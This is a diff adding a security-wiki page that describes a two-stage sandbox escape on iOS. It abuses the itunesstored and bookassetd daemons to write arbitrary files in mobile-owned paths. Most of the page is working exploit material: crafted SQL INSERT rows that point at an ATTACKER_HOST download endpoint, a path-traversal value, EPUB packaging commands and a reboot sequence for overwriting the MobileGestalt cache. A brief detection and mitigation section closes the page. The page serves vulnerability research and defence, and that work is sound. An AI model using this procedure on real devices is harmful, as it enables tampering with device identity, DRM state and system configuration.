|
| 1 | +# itunesstored & bookassetd Sandbox Escape |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Overview |
| 6 | + |
| 7 | +Recent research shows that two pre-installed iOS daemons, **`itunesstored`** (downloads manager) and **`bookassetd`** (Books / iBooks asset manager), blindly trust user-writable SQLite metadata. By dropping crafted `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` files plus a minimal EPUB archive, an attacker who can write under `/var/mobile/Media/` can coerce these daemons into **arbitrary file writes across most `mobile`-owned paths inside `/private/var/`**. The primitives survive reboots and let you tamper with system group caches such as `systemgroup.com.apple.mobilegestaltcache` to spoof device properties or persist configuration. |
| 8 | + |
| 9 | +Key properties: |
| 10 | + |
| 11 | +- Works on devices up to at least **iOS 26.2b1** (tested on iPhone 12 / iOS 26.0.1). |
| 12 | +- Writable targets include `SystemGroup` caches, `/private/var/mobile/Library/FairPlay`, `/private/var/mobile/Media`, and other `mobile` owned files. Writes to `root`-owned files fail. |
| 13 | +- Needs only AFC-level access (USB file copy) or any foothold that lets you replace the target SQLite DBs and upload payloads. |
| 14 | + |
| 15 | +## Threat Model & Requirements |
| 16 | + |
| 17 | +1. **Local filesystem access** to `/var/mobile/Media/Downloads/` and `/var/mobile/Media/Books/` (via AFC clients like 3uTools, i4.cn, or [`afcclient`](https://github.com/emonti/afcclient) over USB, or any prior compromise). |
| 18 | +2. **HTTP server** hosting attacker files (`BLDatabaseManager.sqlite`, `iTunesMetadata.plist`, crafted EPUB) exposed through URLs such as `https://ATTACKER_HOST/fileprovider.php?type=...`. |
| 19 | +3. Ability to **reboot the device multiple times** to make each daemon reload its database. |
| 20 | +4. Knowledge of the **Books system-group UUID** so the Stage 1 write lands in the right container (found via syslog). |
| 21 | + |
| 22 | +## Stage 1 – Abusing `downloads.28.sqlitedb` via `itunesstored` |
| 23 | + |
| 24 | +`itunesstored` processes `/var/mobile/Media/Downloads/downloads.28.sqlitedb`. The `asset` table stores URL + destination metadata and is treated as trusted input. Crafting a row that points to an attacker URL and sets `local_path` to `.../Documents/BLDatabaseManager/BLDatabaseManager.sqlite` inside the Books SystemGroup causes `itunesstored` to download and overwrite the Books database with attacker content on boot. |
| 25 | + |
| 26 | +### Locate the Books SystemGroup UUID |
| 27 | + |
| 28 | +1. Collect a syslog archive with [`pymobiledevice3`](https://github.com/doronz88/pymobiledevice3): |
| 29 | + ```bash |
| 30 | + pymobiledevice3 syslog collect logs.logarchive |
| 31 | + ``` |
| 32 | +2. Open `logs.logarchive` in **Console.app** and search for `bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite`. |
| 33 | +3. Record `<UUID>` and substitute it in the SQL payload. |
| 34 | + |
| 35 | +### Malicious `asset` row |
| 36 | + |
| 37 | +<details> |
| 38 | +<summary>Stage 1 INSERT template</summary> |
| 39 | + |
| 40 | +```sql |
| 41 | +INSERT INTO "main"."asset" ( |
| 42 | + "pid","download_id","asset_order","asset_type","bytes_total", |
| 43 | + "url","local_path","destination_url","path_extension","retry_count", |
| 44 | + "http_method","initial_odr_size","is_discretionary","is_downloaded", |
| 45 | + "is_drm_free","is_external","is_hls","is_local_cache_server", |
| 46 | + "is_zip_streamable","processing_types","video_dimensions", |
| 47 | + "timeout_interval","store_flavor","download_token","blocked_reason", |
| 48 | + "avfoundation_blocked","service_type","protection_type", |
| 49 | + "store_download_key","etag","bytes_to_hash","hash_type","server_guid", |
| 50 | + "file_protection","variant_id","hash_array","http_headers", |
| 51 | + "request_parameters","body_data","body_data_file_path","sinfs_data", |
| 52 | + "dpinfo_data","uncompressed_size","url_session_task_id" |
| 53 | +) VALUES ( |
| 54 | + 1234567890,6936249076851270150,0,'media',NULL, |
| 55 | + 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', |
| 56 | + '/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite', |
| 57 | + NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, |
| 58 | + NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, |
| 59 | + NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 |
| 60 | +); |
| 61 | +``` |
| 62 | + |
| 63 | +</details> |
| 64 | + |
| 65 | +**Fields that matter:** |
| 66 | + |
| 67 | +- `url`: attacker-controlled endpoint returning the malicious `BLDatabaseManager.sqlite`. |
| 68 | +- `local_path`: Books system-group `BLDatabaseManager.sqlite` file determined above. |
| 69 | +- Control flags: keep defaults (`asset_type='media'`, `path_extension='epub'`, booleans set to 0/1 as in the template) so the daemon accepts the task. |
| 70 | + |
| 71 | +### Deployment |
| 72 | + |
| 73 | +1. Delete stale `/var/mobile/Media/Downloads/*` entries to avoid races. |
| 74 | +2. Replace `downloads.28.sqlitedb` with the crafted DB via AFC. |
| 75 | +3. Reboot → `itunesstored` downloads the Stage 2 database and drops `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`. |
| 76 | +4. Copy that plist to `/var/mobile/Media/Books/iTunesMetadata.plist`; Stage 2 expects it at that location. |
| 77 | + |
| 78 | +## Stage 2 – Abusing `BLDatabaseManager.sqlite` via `bookassetd` |
| 79 | + |
| 80 | +`bookassetd` owns broader filesystem entitlements and trusts the `ZBLDOWNLOADINFO` table. By inserting a fake purchase row that references attacker URLs and a traversal in `ZPLISTPATH`, the daemon downloads your EPUB to `/var/mobile/Media/Books/asset.epub` and later unpacks metadata into **any `mobile`-owned path reachable through `../../..` escape sequences**. |
| 81 | + |
| 82 | +### Malicious `ZBLDOWNLOADINFO` row |
| 83 | + |
| 84 | +<details> |
| 85 | +<summary>Stage 2 INSERT template</summary> |
| 86 | + |
| 87 | +```sql |
| 88 | +INSERT INTO "ZBLDOWNLOADINFO" ( |
| 89 | + "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", |
| 90 | + "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", |
| 91 | + "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", |
| 92 | + "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", |
| 93 | + "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", |
| 94 | + "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", |
| 95 | + "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", |
| 96 | + "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", |
| 97 | + "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", |
| 98 | + "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", |
| 99 | + "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", |
| 100 | + "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", |
| 101 | + "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", |
| 102 | + "ZSINFDATA","ZFILEATTRIBUTES" |
| 103 | +) VALUES ( |
| 104 | + 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, |
| 105 | + 0,0,0,NULL,4648,2,'765107108',NULL, |
| 106 | + 767991550.119197,NULL,767991353.245275,NULL,NULL, |
| 107 | + '/private/var/mobile/Media/Books/asset.epub', |
| 108 | + 'productType=PUB&salableAdamId=765107106&...', |
| 109 | + 'https://p19-buy.itunes.apple.com/...', |
| 110 | + '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', |
| 111 | + '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', |
| 112 | + NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, |
| 113 | + '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, |
| 114 | + 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', |
| 115 | + 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', |
| 116 | + 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL |
| 117 | +); |
| 118 | +``` |
| 119 | + |
| 120 | +</details> |
| 121 | + |
| 122 | +Important fields: |
| 123 | + |
| 124 | +- `ZASSETPATH`: on-disk EPUB location controlled by the attacker. |
| 125 | +- `ZURL`/`ZPERMLINK`: attacker URLs hosting the EPUB and auxiliary plist. |
| 126 | +- `ZPLISTPATH`: `../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library` – the **path traversal base** appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target. |
| 127 | +- Purchase metadata (`ZSTOREIDENTIFIER`, names, timestamps) mimic legitimate entries so the daemon does not discard the row. |
| 128 | + |
| 129 | +After copying the malicious DB into `/private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite` (courtesy of Stage 1) and rebooting twice, `bookassetd` will (1) download the EPUB, (2) process it and write the derived plist under the traversed path. |
| 130 | + |
| 131 | +## Crafting the EPUB Payload |
| 132 | + |
| 133 | +`bookassetd` respects the EPUB ZIP format: `mimetype` must be the first uncompressed entry. To map EPUB contents to the MobileGestalt cache, build a directory tree that mirrors the desired path relative to `ZPLISTPATH`. |
| 134 | + |
| 135 | +``` |
| 136 | +Caches/ |
| 137 | +├── mimetype |
| 138 | +└── com.apple.MobileGestalt.plist |
| 139 | +``` |
| 140 | + |
| 141 | +Create the archive: |
| 142 | + |
| 143 | +```bash |
| 144 | +zip -X0 hax.epub Caches/mimetype |
| 145 | +zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist |
| 146 | +``` |
| 147 | + |
| 148 | +- `mimetype` typically contains the literal `application/epub+zip`. |
| 149 | +- `Caches/com.apple.MobileGestalt.plist` holds the attacker-controlled payload that will land at `.../Library/Caches/com.apple.MobileGestalt.plist`. |
| 150 | + |
| 151 | +## Orchestration Workflow |
| 152 | + |
| 153 | +1. **Prepare files** on the attacker HTTP server and craft both SQLite DBs with host/UUID-specific values. |
| 154 | +2. **Replace `downloads.28.sqlitedb`** on the device and reboot → Stage 1 downloads the malicious `BLDatabaseManager.sqlite` and emits `/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist`. |
| 155 | +3. **Copy `iTunesMetadata.plist`** to `/var/mobile/Media/Books/iTunesMetadata.plist` (repeat if the daemon deletes it). |
| 156 | +4. **Reboot again** → `bookassetd` downloads `asset.epub` to `/var/mobile/Media/Books/` using Stage 2 metadata. |
| 157 | +5. **Reboot a third time** → `bookassetd` processes the downloaded asset, follows `ZPLISTPATH`, and writes the EPUB contents into the targeted SystemGroup path (e.g., `com.apple.MobileGestalt.plist`). |
| 158 | +6. **Verify** by reading the overwritten plist or observing that MobileGestalt-derived properties (model identifier, activation flags, etc.) change accordingly. |
| 159 | + |
| 160 | +The same pattern lets you drop files under other `mobile`-owned caches, such as FairPlay state or persistence directories, enabling stealthy tampering without needing a kernel exploit. |
| 161 | + |
| 162 | +## Tooling & Operational Notes |
| 163 | + |
| 164 | +- **`pymobiledevice3 syslog collect logs.logarchive`** – extract log archives to discover the Books SystemGroup UUID. |
| 165 | +- **Console.app** – filter for `bookassetd [Database]: Store is at ...` to recover the exact container path. |
| 166 | +- **AFC clients (`afcclient`, 3uTools, i4.cn)** – push/pull SQLite DBs and plist files over USB without jailbreak. |
| 167 | +- **`zip`** – enforce EPUB ordering constraints when packaging payloads. |
| 168 | +- **Public PoC** – <https://github.com/hanakim3945/bl_sbx> ships baseline SQLite/EPUB templates you can customize. |
| 169 | + |
| 170 | +## Detection & Mitigation Ideas |
| 171 | + |
| 172 | +- Treat `downloads.28.sqlitedb` and `BLDatabaseManager.sqlite` as untrusted input: validate that `local_path` / `ZPLISTPATH` stay within approved sandboxes and reject fully qualified paths or traversal tokens. |
| 173 | +- Monitor for AFC writes that replace these databases or for unexpected downloads initiated by `itunesstored` / `bookassetd` shortly after boot. |
| 174 | +- Harden `bookassetd` unpacking to `realpath()` the output target and ensure it cannot escape the Books container before writing files. |
| 175 | +- Restrict AFC / USB file copy channels or require user interaction before allowing replacement of Books/iTunes metadata files. |
| 176 | + |
| 177 | +## References |
| 178 | + |
| 179 | +- [itunesstored & bookassetd sbx escape](https://hanakim3945.github.io/posts/download28_sbx_escape/) |
| 180 | +- [bl_sbx PoC repository](https://github.com/hanakim3945/bl_sbx) |
| 181 | + |
| 182 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments